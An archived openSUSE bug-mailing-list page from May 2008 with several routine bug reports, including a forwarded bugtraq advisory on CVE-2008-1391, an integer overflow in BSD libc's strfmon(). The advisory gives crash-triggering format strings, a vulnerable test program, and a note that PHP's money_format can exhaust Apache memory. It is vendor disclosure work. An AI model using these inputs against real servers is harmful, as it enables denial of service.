May 2008 - openSUSE Bugs - openSUSE Mailing Lists

[Bug 379481] New: Consistent naming of "kdebase4-nsplugin/64"
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=379481 Summary: Consistent naming of "kdebase4-nsplugin/64" Product: openSUSE 11.0 Version: Factory Platform: x86-64 OS/Version: Other Status: NEW Severity: Enhancement Priority: P5 - None Component: KDE4 Workspace AssignedTo: kde-maintainers(a)suse.de ReportedBy: one_way(a)online.de QAContact: qa(a)suse.de Found By: --- Using the kdebase4-nsplugin package, the naming from time to time seems to alternate between "kdebase4-nsplugin" and "kdebase4-nsplugin64". This inconsistency especially occurs when closely following openSUSE Factory or using different repositories from the build service. (Looking back, this naming difference occured as long as I used openSUSE on 64 bit. I guess it once was used because of running 32bit plugins on a 64bit Konqueror with a different kdebase3/4-nsplugin-package, but nowadays I guess nspluginwrapper does this job?) E.g. with the current update, I had installed kdebase4-nsplugin64-4.0.67 and kdebase4-nsplugin-4.0.68 at the same time,both obviously consisting of the same files. The newer package forgot to obsolete the previous version. Problems like this have occured with (almost) every of this naming changes. I would propose to simply stick to one name to avoid problems. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 3

[Bug 372447] New: Intel Celeron M 520 and 530 cpus need p4_clockmod
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=372447 Summary: Intel Celeron M 520 and 530 cpus need p4_clockmod Product: openSUSE 11.0 Version: Alpha 3 Platform: x86-64 URL: http://www.intel.com/distributed/modules/sitelets/celero nm_spec.htm OS/Version: openSUSE 11.0 Status: NEW Severity: Major Priority: P5 - None Component: Kernel AssignedTo: kernel-maintainers(a)forge.provo.novell.com ReportedBy: clarkt(a)cnsp.com QAContact: qa(a)suse.de Found By: Beta-Customer Intel Celeron M 520 and 530 cpus are the only 64 bit Celeron M processors. They need p4_clockmod inorder for powersavings and cpufreq to work. This modules is not compiled in the kernel and requires that the user know that they need to download the kernel sources and compilers to build the module. With out p4_clockmod, laptops with these chips will have poor battery life. The system should be able to identify these processors and automatically load p4_clockmod. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 3

[Bug 373637] New: klauncher segfaults when restarting KDE4
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=373637 Summary: klauncher segfaults when restarting KDE4 Product: openSUSE 11.0 Version: Alpha 3 Platform: x86-64 OS/Version: openSUSE 11.0 Status: NEW Severity: Normal Priority: P5 - None Component: KDE4 Workspace AssignedTo: kde-maintainers(a)suse.de ReportedBy: clarkt(a)cnsp.com QAContact: qa(a)suse.de Found By: Beta-Customer Klauncher segfaults when logging into KDE4. This may occur on the first attempt but will happen if you logout then log back in. Only message is found in messages: Mar 25 08:44:47 linux-xsep klogd: klauncher[4256]: segfault at 10 ip 7fa50528ff3f sp 7fff0ee31370 error 4 in libX11.so.6.2.0[7fa505240000+137000] This is found on two machines, one is a clean load of A3 the other is a machine with A2 synced to factory. When this happens, the icons found in the lower right of the task bar are not displayed. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 10

[Bug 382236] New: mkfifo should be moved to /bin or /sbin
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=382236 Summary: mkfifo should be moved to /bin or /sbin Product: openSUSE 10.3 Version: Final Platform: i586 OS/Version: openSUSE 10.3 Status: NEW Severity: Minor Priority: P5 - None Component: Basesystem AssignedTo: bnc-team-screening(a)forge.provo.novell.com ReportedBy: mantel(a)novell.com QAContact: qa(a)suse.de Found By: --- When mounting /usr via NFS, one can see error messages during boot, since mkfifo is not yet available but seems to be needed by hal or udev or something. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 6

[Bug 388225] New: sysconfig 0.70.2-4.2 broke WIRELESS_MODE="Master"
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=388225 Summary: sysconfig 0.70.2-4.2 broke WIRELESS_MODE="Master" Product: openSUSE 10.3 Version: Final Platform: Other OS/Version: Other Status: NEW Severity: Major Priority: P5 - None Component: Network AssignedTo: bnc-team-screening(a)forge.provo.novell.com ReportedBy: jnelson-suse(a)jamponi.net QAContact: qa(a)suse.de Found By: --- After the latest sysconfig update (which also messed up my firewall settings), I was unable to bring up my PCI wireless card in AP mode. I eventually tracked it to a bug in /etc/sysconfig/network/scripts/ifup-wireless Specifically, If the WIRELESS_MODE is Master, the following lines (in /etc/sysconfig/network/scripts/ifup-wireless) are inappropriate: # set AP address at last, mac80211 based drivers may need this as # signal to start scanning for an appropriate cell test -z "$WIRELESS_AP" && WIRELESS_AP="any" # it is required to set up the interface before doing that ip link set up dev $INTERFACE 2>/dev/null run_iw_tool config ap "$WIRELESS_AP" and generate an error, preventing the interface from coming up fully: Error for wireless request "Set AP Address" (8B14) : SET failed on device ath0 ; Invalid argument. as the error happens before the address is set, the address is left in a half-configured state! I change that section of code to read: # set AP address at last, mac80211 based drivers may need this as # signal to start scanning for an appropriate cell if [ "$WIRELESS_MODE" != "Master" ]; then test -z "$WIRELESS_AP" && WIRELESS_AP="any" # it is required to set up the interface before doing that ip link set up dev $INTERFACE 2>/dev/null run_iw_tool config ap "$WIRELESS_AP" fi Please also check to make sure that openSUSE 11.0 is not affected! -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 1

[Bug 381852] New: Open-iscsi hangs trying to log out from open-e iSCSI device
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=381852 Summary: Open-iscsi hangs trying to log out from open-e iSCSI device Product: openSUSE 10.3 Version: Final Platform: x86-64 OS/Version: openSUSE 10.3 Status: NEW Severity: Critical Priority: P5 - None Component: Basesystem AssignedTo: bnc-team-screening(a)forge.provo.novell.com ReportedBy: nils.huntemann(a)gmx.de QAContact: qa(a)suse.de Found By: Customer We changed from OpenSUSE 10.2 to 10.3, after this it was not possible to logout of an iSCSI device. If one tries, iscsiadm hangs. And one can not go on using iscsi before a reboot. Also when we try to shutdown the maschine, we get this error. I found this description of a similar bug. http://www.mail-archive.com/open-iscsi@googlegroups.com/msg00269.html Are you going to provide a patch with the updates of opensuse, or do we have to build the kernelmodule and driver ourself? With best regards, Nils Huntemann -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 4

[Bug 388164] New: sax2-ident modified file after installation
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=388164 Summary: sax2-ident modified file after installation Product: openSUSE 11.0 Version: Factory Platform: Other OS/Version: Other Status: NEW Severity: Critical Priority: P5 - None Component: SaX2 AssignedTo: sndirsch(a)novell.com ReportedBy: meissner(a)novell.com QAContact: qa(a)suse.de Found By: Development $ rpm -V sax2-ident S.5....T /usr/share/sax/api/data/cdb/Monitors $ If the file is known to be modified, then please mark it as %config or similar. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 2

[Bug 387880] New: hwinfo --gfxcard does not give the proper video card model
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=387880 Summary: hwinfo --gfxcard does not give the proper video card model Product: openSUSE 11.0 Version: Factory Platform: x86-64 OS/Version: Other Status: NEW Severity: Normal Priority: P5 - None Component: Basesystem AssignedTo: bnc-team-screening(a)forge.provo.novell.com ReportedBy: hfiguiere(a)novell.com QAContact: qa(a)suse.de Found By: --- hwinfo --gfxcard does not give the model of the video card. 08: PCI 4000.0: 0300 VGA compatible controller (VGA) [Created at pci.302] UDI: /org/freedesktop/Hal/devices/pci_10de_165 Unique ID: +MzD.16eADQjulo7 Parent ID: 8otl.BMiosGw4HD4 SysFS ID: /devices/pci0000:00/0000:00:04.0/0000:40:00.0 SysFS BusID: 0000:40:00.0 Hardware Class: graphics card Model: "nVidia 0x0165" Vendor: pci 0x10de "nVidia Corporation" Device: pci 0x0165 "0x0165" SubVendor: pci 0x10de "nVidia Corporation" SubDevice: pci 0x0334 Revision: 0xa1 Driver: "nouveau" Driver Modules: "nouveau" Memory Range: 0xf9000000-0xf9ffffff (rw,non-prefetchable) Memory Range: 0xf0000000-0xf7ffffff (rw,prefetchable) Memory Range: 0xfa000000-0xfaffffff (rw,non-prefetchable) IRQ: 16 (214137 events) I/O Ports: 0x3c0-0x3df (rw) Module Alias: "pci:v000010DEd00000165sv000010DEsd00000334bc03sc00i00" Driver Info #0: XFree86 v4 Server Module: nv Driver Info #1: XFree86 v4 Server Module: nvidia 3D Support: yes Config Status: cfg=no, avail=yes, need=no, active=unknown Attached to: #35 (PCI bridge) Primary display adapter: #8 lspci report the following: 40:00.0 VGA compatible controller: nVidia Corporation NV44 [Quadro NVS 285] (rev a1) -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 7

[Bug 375315] New: VUL-0: [securityreason] *BSD libc (strfmon) Multiple vulnerabilities
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=375315 User mweckbecker(a)novell.com added comment https://bugzilla.novell.com/show_bug.cgi?id=375315#c99999999999999999999 Summary: VUL-0: [securityreason] *BSD libc (strfmon) Multiple vulnerabilities Product: openSUSE 10.3 Version: Final Platform: Other OS/Version: Other Status: NEW Severity: Major Priority: P5 - None Component: Security AssignedTo: pbaudis(a)novell.com ReportedBy: mweckbecker(a)novell.com QAContact: qa(a)suse.de CC: security-team(a)suse.de Found By: --- Your friendly security team received the following report via bugtraq. Please respond ASAP. The issue is public. I think we're also affected. (at least on non 64 bit) Date: 27 Mar 2008 14:09:49 -0000 From: cxib(a)securityreason.com To: bugtraq(a)securityfocus.com Subject: [securityreason] *BSD libc (strfmon) Multiple vulnerabilities -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ *BSD libc (strfmon) Multiple vulnerabilities ] Author: Maksymilian Arciemowicz (cxib) SecurityReason.com Date: - - Written: 10.03.2008 - - Public: 25.03.2008 SecurityReason Research SecurityAlert Id: 53 CVE: CVE-2008-1391 SecurityRisk: High Affected Software: FreeBSD lines: 6,7 NetBSD 4 another systems what use this functions. Standard C Library (libc, -lc) for BSD probably some MacOS version Advisory URL: http://securityreason.com/achievement_securityalert/53 Vendor: http://www.php.net - --- 0.Description --- strfmon -- convert monetary value to string The strfmon() function places characters into the array pointed to by s as controlled by the string pointed to by format. No more than maxsize bytes are placed into the array. The format string is composed of zero or more directives: ordinary characters (not %), which are copied unchanged to the output stream; and conversion specifications, each of which results in fetching zero or more subsequent arguments. Each conversion specification is introduced by the % character. SYNOPSIS: #include <monetary.h> ssize_t strfmon(char * restrict s, size_t maxsize, const char * restrict format, ...); - --- 1. /usr/src/lib/libc/stdlib/strfmon.c - Integer Overflow --- The main problem and vulnerability exist in strfmon() function. When we use this function in example program: - ---example-start-- #include <stdio.h> #include <monetary.h> int main(int argc, char* argv[]){ char buff[51]; char *bux=buff; int res; res=strfmon(bux, 50, argv[1], "0"); return 0; } - ---example-end-- and compile it, we can manipulate format string. Let's try to run example: cxib# ./pln %99999999999999999999n Segmentation fault (core dumped) What is wrong? Let's see cxib# gdb -q pln (no debugging symbols found)...(gdb) r %99999999999999999999n Starting program: /cxib/C/pln %99999999999999999999n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2814e0e6 in memmove () from /lib/libc.so.7 (gdb) memmove() will bad reallocation memory. cxib# gdb -q pln (no debugging symbols found)...(gdb) r %.9999999999n Starting program: /cxib/C/pln %.9999999999n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2814f093 in abort () from /lib/libc.so.7 Next example is : cxib# ./pln %#99999999999999999999n Long execution time. Let's try check this process : - -------------------------- cxib# ps -aux | grep pln cxib 1843 89.1 13.2 140320 119588 p2 R+ 4:29PM 0:09.68 ./pln %#99999999999999999999n cxib# ps -aux | grep pln cxib 1843 94.7 48.4 482336 438236 p2 R+ 4:29PM 1:54.07 ./pln %#99999999999999999999n 1 VSZ=140320 2 VSZ=482336 - ---------------------------- Why? pln will allocate more memory that we have. PHP use strfmon() in money_format() function. When we use mod_php5 in apache, we can create example exploit.. result will be : - ---apache-child-die--- swap_pager: out of swap space swap_pager_getswapspace(16): failed Mar 15 21:03:23 cxib kernel: pid 1210 (httpd), uid 80, was killed: out of swap space - ---apache-child-die--- Difference between %99999999999999999999n and (%#99999999999999999999n or %.9999999999n) is "#" or "." o A `#' sign followed by a decimal number specifying the maximum expected number of digits after the radix character. o A `.' character followed by a decimal number specifying the number the number of digits after the radix character. Let's see the source of strfmon() function : - ---strfmon()-start--- ssize_t strfmon(char * __restrict s, size_t maxsize, const char * __restrict format, ...) { va_list ap; char *dst; /* output destination pointer */ const char *fmt; /* current format poistion pointer */ struct lconv *lc; /* pointer to lconv structure */ char *asciivalue; /* formatted double pointer */ int flags; /* formatting options */ int pad_char; /* padding character */ int pad_size; /* pad size */ int width; /* field width */ int left_prec; /* left precision */ int right_prec; /* right precision */ double value; /* just value */ char space_char = ' '; /* space after currency */ char cs_precedes, /* values gathered from struct lconv */ sep_by_space, sign_posn, *signstr, *currency_symbol; char *tmpptr; /* temporary vars */ int sverrno; va_start(ap, format); lc = localeconv(); dst = s; fmt = format; asciivalue = NULL; currency_symbol = NULL; pad_size = 0; while (*fmt) { /* pass nonformating characters AS IS */ if (*fmt != '%') goto literal; /* '%' found ! */ /* "%%" mean just '%' */ if (*(fmt+1) == '%') { fmt++; literal: PRINT(*fmt++); continue; } /* set up initial values */ flags = (NEED_GROUPING|LOCALE_POSN); pad_char = ' '; /* padding character is "space" */ left_prec = -1; /* no left precision specified */ right_prec = -1; /* no right precision specified */ width = -1; /* no width specified */ value = 0; /* we have no value to print now */ /* Flags */ while (1) { switch (*++fmt) { case '=': /* fill character */ pad_char = *++fmt; if (pad_char == '\0') goto format_error; continue; case '^': /* not group currency */ flags &= ~(NEED_GROUPING); continue; case '+': /* use locale defined signs */ if (flags & SIGN_POSN_USED) goto format_error; flags |= (SIGN_POSN_USED|LOCALE_POSN); continue; case '(': /* enclose negatives with () */ if (flags & SIGN_POSN_USED) goto format_error; flags |= (SIGN_POSN_USED|PARENTH_POSN); continue; case '!': /* suppress currency symbol */ flags |= SUPRESS_CURR_SYMBOL; continue; case '-': /* alignment (left) */ flags |= LEFT_JUSTIFY; continue; default: break; } break; } /* field Width */ if (isdigit((unsigned char)*fmt)) { GET_NUMBER(width); /* Do we have enough space to put number with * required width ? */ if (dst + width >= s + maxsize) goto e2big_error; } /* Left precision */ if (*fmt == '#') { if (!isdigit((unsigned char)*++fmt)) goto format_error; GET_NUMBER(left_prec); } /* Right precision */ if (*fmt == '.') { if (!isdigit((unsigned char)*++fmt)) goto format_error; GET_NUMBER(right_prec); } /* Conversion Characters */ switch (*fmt++) { case 'i': /* use internaltion currency format */ flags |= USE_INTL_CURRENCY; break; case 'n': /* use national currency format */ flags &= ~(USE_INTL_CURRENCY); break; default: /* required character is missing or premature EOS */ goto format_error; } if (flags & USE_INTL_CURRENCY) { currency_symbol = strdup(lc->int_curr_symbol); if (currency_symbol != NULL) space_char = *(currency_symbol+3); } else currency_symbol = strdup(lc->currency_symbol); if (currency_symbol == NULL) goto end_error; /* ENOMEM. */ /* value itself */ value = va_arg(ap, double); /* detect sign */ if (value < 0) { flags |= IS_NEGATIVE; value = -value; } /* fill left_prec with amount of padding chars */ if (left_prec >= 0) { pad_size = __calc_left_pad((flags ^ IS_NEGATIVE), currency_symbol) - __calc_left_pad(flags, currency_symbol); if (pad_size < 0) pad_size = 0; } asciivalue = __format_grouped_double(value, &flags, left_prec, right_prec, pad_char); if (asciivalue == NULL) goto end_error; /* errno already set */ /* to ENOMEM by malloc() */ /* set some variables for later use */ __setup_vars(flags, &cs_precedes, &sep_by_space, &sign_posn, &signstr); /* * Description of some LC_MONETARY's values: * * p_cs_precedes & n_cs_precedes * * = 1 - $currency_symbol precedes the value * for a monetary quantity with a non-negative value * = 0 - symbol succeeds the value * * p_sep_by_space & n_sep_by_space * * = 0 - no space separates $currency_symbol * from the value for a monetary quantity with a * non-negative value * = 1 - space separates the symbol from the value * = 2 - space separates the symbol and the sign string, * if adjacent. * * p_sign_posn & n_sign_posn * * = 0 - parentheses enclose the quantity and the * $currency_symbol * = 1 - the sign string precedes the quantity and the * $currency_symbol * = 2 - the sign string succeeds the quantity and the * $currency_symbol * = 3 - the sign string precedes the $currency_symbol * = 4 - the sign string succeeds the $currency_symbol * */ tmpptr = dst; while (pad_size-- > 0) PRINT(' '); if (sign_posn == 0 && (flags & IS_NEGATIVE)) PRINT('('); if (cs_precedes == 1) { if (sign_posn == 1 || sign_posn == 3) { PRINTS(signstr); if (sep_by_space == 2) /* XXX: ? */ PRINT(' '); } if (!(flags & SUPRESS_CURR_SYMBOL)) { PRINTS(currency_symbol); if (sign_posn == 4) { if (sep_by_space == 2) PRINT(space_char); PRINTS(signstr); if (sep_by_space == 1) PRINT(' '); } else if (sep_by_space == 1) PRINT(space_char); } } else if (sign_posn == 1) PRINTS(signstr); PRINTS(asciivalue); if (cs_precedes == 0) { if (sign_posn == 3) { if (sep_by_space == 1) PRINT(' '); PRINTS(signstr); } if (!(flags & SUPRESS_CURR_SYMBOL)) { if ((sign_posn == 3 && sep_by_space == 2) || (sep_by_space == 1 && (sign_posn == 0 || sign_posn == 1 || sign_posn == 2 || sign_posn == 4))) PRINT(space_char); PRINTS(currency_symbol); /* XXX: len */ if (sign_posn == 4) { if (sep_by_space == 2) PRINT(' '); PRINTS(signstr); } } } if (sign_posn == 2) { if (sep_by_space == 2) PRINT(' '); PRINTS(signstr); } if (sign_posn == 0 && (flags & IS_NEGATIVE)) PRINT(')'); if (dst - tmpptr < width) { if (flags & LEFT_JUSTIFY) { while (dst - tmpptr < width) PRINT(' '); } else { pad_size = dst-tmpptr; memmove(tmpptr + width-pad_size, tmpptr, pad_size); memset(tmpptr, ' ', width-pad_size); dst += width-pad_size; } } } PRINT('\0'); va_end(ap); free(asciivalue); free(currency_symbol); return (dst - s - 1); /* return size of put data except trailing '\0' */ e2big_error: errno = E2BIG; goto end_error; format_error: errno = EINVAL; end_error: sverrno = errno; if (asciivalue != NULL) free(asciivalue); if (currency_symbol != NULL) free(currency_symbol); errno = sverrno; va_end(ap); return (-1); } - ---strfmon()-end--- As we can see locks are corrected, but function GET_NUMBER() - ---GET_NUMBER()-start--- #define GET_NUMBER(VAR) do { \ VAR = 0; \ while (isdigit((unsigned char)*fmt)) { \ VAR *= 10; \ VAR += *fmt - '0'; \ fmt++; \ } \ } while (0) - ---GET_NUMBER()-end--- fmt=2147483647n => GET_NUMBER(2147483647) fmt=2147483648n => GET_NUMBER(-2147483648) fmt=2147483649n => GET_NUMBER(-2147483647) fmt=4294967296n => GET_NUMBER(0) fmt=4294967297n => GET_NUMBER(1) We have integer overflow. Next problem is with int left_prec and right_prec. Sum of this int's isn't checked. Problem exist also in printf() function. Example code will show Integer Overflow . - ---example-start-- #include <stdio.h> int main(int argc, char *argv[]) { printf("%1410065408.1410065407f\n", 2); return 0; } - ---example-end-- cxib# gcc -o pln pln.c && ./pln Segmentation fault (core dumped) What is wrong? the same problem that was in strfmon() function. - --- /* convert to string */ snprintf(fmt, sizeof(fmt), "%%%d.%df", left_prec + right_prec + 1, right_prec); avalue_size = asprintf(&avalue, fmt, value); - --- fmt is here 32 chars table. So for format like strfmon(bux, 50, "%.10n", "1.1"); fmt will have %11.10f for res=strfmon(bux, 50, "%.1410065407n", "1.1"); will be crash here avalue_size = asprintf(&avalue, fmt, value); fmt=%1410065408.1410065407f value=1.1 it is possible? asprintf(&avalue, "%.1410065407f", "1.1"); and the question is why? Let's see to gdb cxib# gdb -q pln (no debugging symbols found)...(gdb) r Starting program: /cxib/C/pln (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x2814f0a3 in abort () from /lib/libc.so.7 SecurityReason will only alarm all BSDs developers to check libc. A lot of programs (with strfmon function) should be recompiled after libc updated. We have informed NetBSD and FreeBSD teams, but we don't know how exactly use this functions. The priority of strfmon() issues are very High. - --- 2. Exploit --- SecurityReason will not public official exploit for this issue. - --- 3. How to fix --- We have informed NetBSD teams about it. strfmon() function is fixed in http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/stdlib/strfmon.c but we are not sure of it is correct. - --- 4. Greets --- sp3x Infospec p_e_a Chujwamwdupe schain and dr Truderung (za ndst z C) - --- 5. Contact --- Author: SecurityReason [ Maksymilian Arciemowicz ] Email: cxib [at] securityreason [dot] com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg [NEW KEY] GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg.old [OLD KEY] http://securityreason.com http://securityreason.pl -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.4 (FreeBSD) iD8DBQFH6Un9W1OhNJH6DMURAsSEAJwMuWlEKrzHinBM1ojAxGIFOHohswCfZhxM HcKAw4DGKq13jrhrwsP0BF4= =ifF2 -----END PGP SIGNATURE----- -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 1

[Bug 381415] New: Wrong language settign per default in ncurses frontend
by bugzilla_noreply＠novell.com 08 May '08

08 May '08

https://bugzilla.novell.com/show_bug.cgi?id=381415 Summary: Wrong language settign per default in ncurses frontend Product: openSUSE 11.0 Version: Factory Platform: All OS/Version: openSUSE 11.0 Status: NEW Severity: Minor Priority: P5 - None Component: Installation AssignedTo: bnc-team-screening(a)forge.provo.novell.com ReportedBy: fnmueller(a)opensuse.org QAContact: jsrain(a)novell.com Found By: --- Created an attachment (id=209022) --> (https://bugzilla.novell.com/attachment.cgi?id=209022) Screenshot of error Using the B1 KDE-live-cd ncurses frontent (yast2 live-installer) produces wrong language setting "Afrikaans" instead of "English" as default setting. -- Configure bugmail: https://bugzilla.novell.com/userprefs.cgi?tab=email ------- You are receiving this mail because: ------- You are on the CC list for the bug.

1 19